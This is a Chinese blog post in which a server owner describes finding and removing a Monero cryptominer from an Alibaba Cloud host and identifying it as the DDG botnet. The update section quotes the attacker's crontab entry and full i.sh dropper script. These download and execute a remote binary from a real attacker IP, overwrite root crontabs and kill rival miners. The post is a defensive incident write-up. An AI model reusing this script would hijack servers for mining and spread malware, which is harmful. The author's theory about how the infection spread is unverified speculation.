今天下午工作的时候,需要去阿里云申请一下OSS做一些沙箱测试。点开控制台提醒我香港的主机要续费了,就点进去了控制台。结果突然发现,CPU拉满了

image.png

图中可见,11月7日开始,CPU一直拉满,没有停过。而且阿里云居然没有发过一次警告和提示,我都怀疑是不是间接允许我可以挖矿了....

我第一时间登陆上去, 直接找出异常的2个程序

ps -aux --sort=-pcpu | head -10

image.png

可以明显看到有2个不知名的程序 /tmp/Donald , /usr/bin/unqlfa5
我第一时间是去Google查找相关的信息,看看是否惯犯。果不其然 hacker 都不是睿智,找不到任何信息。然后我在 crontab 上找到了被入侵的信息(井号的注释是我后来自己加上的):

image.png

IP是美国的,我估计是肉鸡,追查也不会有用,而且追查应该也没啥意义。整理下来,我估计是不知道哪个程序被注入,写入了crontab和 /usr/bin/unqlfa5 这个文件,然后再去下载 /tmp/Donald 这个程序,进行挖矿。

Google上得知,一般性的注入都是通过无密码的 redis , 但是本机并没有装 redis ,仅部署了简单的 php+nginx+mysql,就显得有点奇怪。

通过 last 指令,找不到异常的登陆,因为在阿里云上设置了证书登陆,密码从来没有使用过所以不可能泄漏。

image.png

(图里的IP地址都是正常的地址,没找到异常)

再去看下 ~/.ssh/known_hosts 里的记录IP,也是没有异常。

image.png

(红框里几个都是美国IP,但确认过都是 Github )

简单的研究之后,马上把 /tmp/Donald , /usr/bin/unqlfa5 这2个程序都进行 rm ,然后注释 crontab 的注入, 最后 kill 掉对应的2个程序。 观察30分钟下来,cpu恢复正常。

目前的想法是再观察一下,能力有限并不能追查出具体的来源。 如果下次再来,就把所有服务的密码都修改一次并且限一下IP,加强一下防御。而且看下阿里云有没有相关的报警设置,长时间CPU拉满阿里云居然一声不吭,说实话有点奇怪,究竟云盾是干锤用的...

而且挖矿挖了快2个星期,不知道白给别人赚了多少美金,想想都觉得生气


2020-01-17 15:35 更新

昨天发现这个人又来了,恰好我在做博客迁移部署,及时发现,然后杀掉了相关的进程和相关的文件。
这次我专门去根据 crontab 中的侵入,研究一下相关内容。

# crontab 中内容:
*/15 * * * * (/usr/bin/unqlfaa||/usr/libexec/unqlfaa||/usr/local/bin/unqlfaa||/tmp/unqlfaa||curl -m180 -fsSL http://47.52.165.15:9073/i.sh||wget -q -T180 -O- http://47.52.165.15:9073/i.sh) | sh

# http://47.52.165.15:9073/i.sh 中内容

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/uzkmfaa||/usr/libexec/uzkmfaa||/usr/local/bin/uzkmfaa||/tmp/uzkmfaa||curl -fsSL -m180 http://47.52.165.15:9073/i.sh||wget -q -T180 -O- http://47.52.165.15:9073/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep uzkmfaa || rm -rf uzkmfaa
if [ ! -f "uzkmfaa" ]; then
    curl -fsSL -m1800 http://47.52.165.15:9073/static/4010/ddgs.$(uname -m) -o uzkmfaa||wget -q -T1800 http://47.52.165.15:9073/static/4010/ddgs.$(uname -m) -O uzkmfaa
fi
chmod +x uzkmfaa
/usr/bin/uzkmfaa||/usr/libexec/uzkmfaa||/usr/local/bin/uzkmfaa||/tmp/uzkmfaa

ps auxf | grep -v grep | grep uzkmbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa3 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa4 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa5 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa6 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa7 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep uzkmfa8 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/uzkmfaa||/usr/libexec/uzkmfaa||/usr/local/bin/uzkmfaa||/tmp/uzkmfaa||curl -m180 -fsSL http://47.52.165.15:9073/i.sh||wget -q -T180 -O- http://47.52.165.15:9073/i.sh) | sh" | crontab -

从敌方代码中可见,核心是下载并执行了这个文件 :
http://47.52.165.15:9073/static/4010/ddgs.$(uname -m)

我专门去下载了这个文件, 是一个二进制可执行文件。 谷歌搜索了一下 ddgs ,终于找到了:

DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络,并在随后展开了持续的分析和跟踪。在这期间,我们注意到该僵尸网络有两个内部保留域名尚未注册,我们抢注了这两个域名,并利用到这两个域名的流量精确记录了该僵尸网络感染的 4,391 个IP地址。在那段时间中,DDG 的主要流行版本是 2020、2021。
源: https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/

2年过去了,现在这个 DDG 都已经到了4010版本了.... 可想而知生命力有多顽强。
疑点来了,我这台机器没有安装 RedisOrientDB , SSH 的密码也是阿里云随机生成的,绝对不是弱密码,而且我平常登录都是直接使用证书密钥,不使用密码。

因为目前这台机器,是阿里云的“虚拟主机”服务。我极度怀疑是阿里云的核心服务中,有某一台虚拟主机感染了该木马,然后通过内网SSH连接传播。
在阿里云的控制台中,是可以在WEB端无密码直连虚拟主机的,虽然不太清楚是否真的“无密码”,但我猜测这是漏洞中的其中一环节。

排除我本身自己的操作问题,目前能防御这种木马办法,只有增加 CPU 监控,遇到 CPU 异常的时候第一时间登录服务器,kill 掉和删除相关的进程/文件,然后编辑 iptalbes ,把 IP 的所有访问都 DROP 掉:

iptables -I INPUT -s 47.52.165.15 -j DROP
文章目录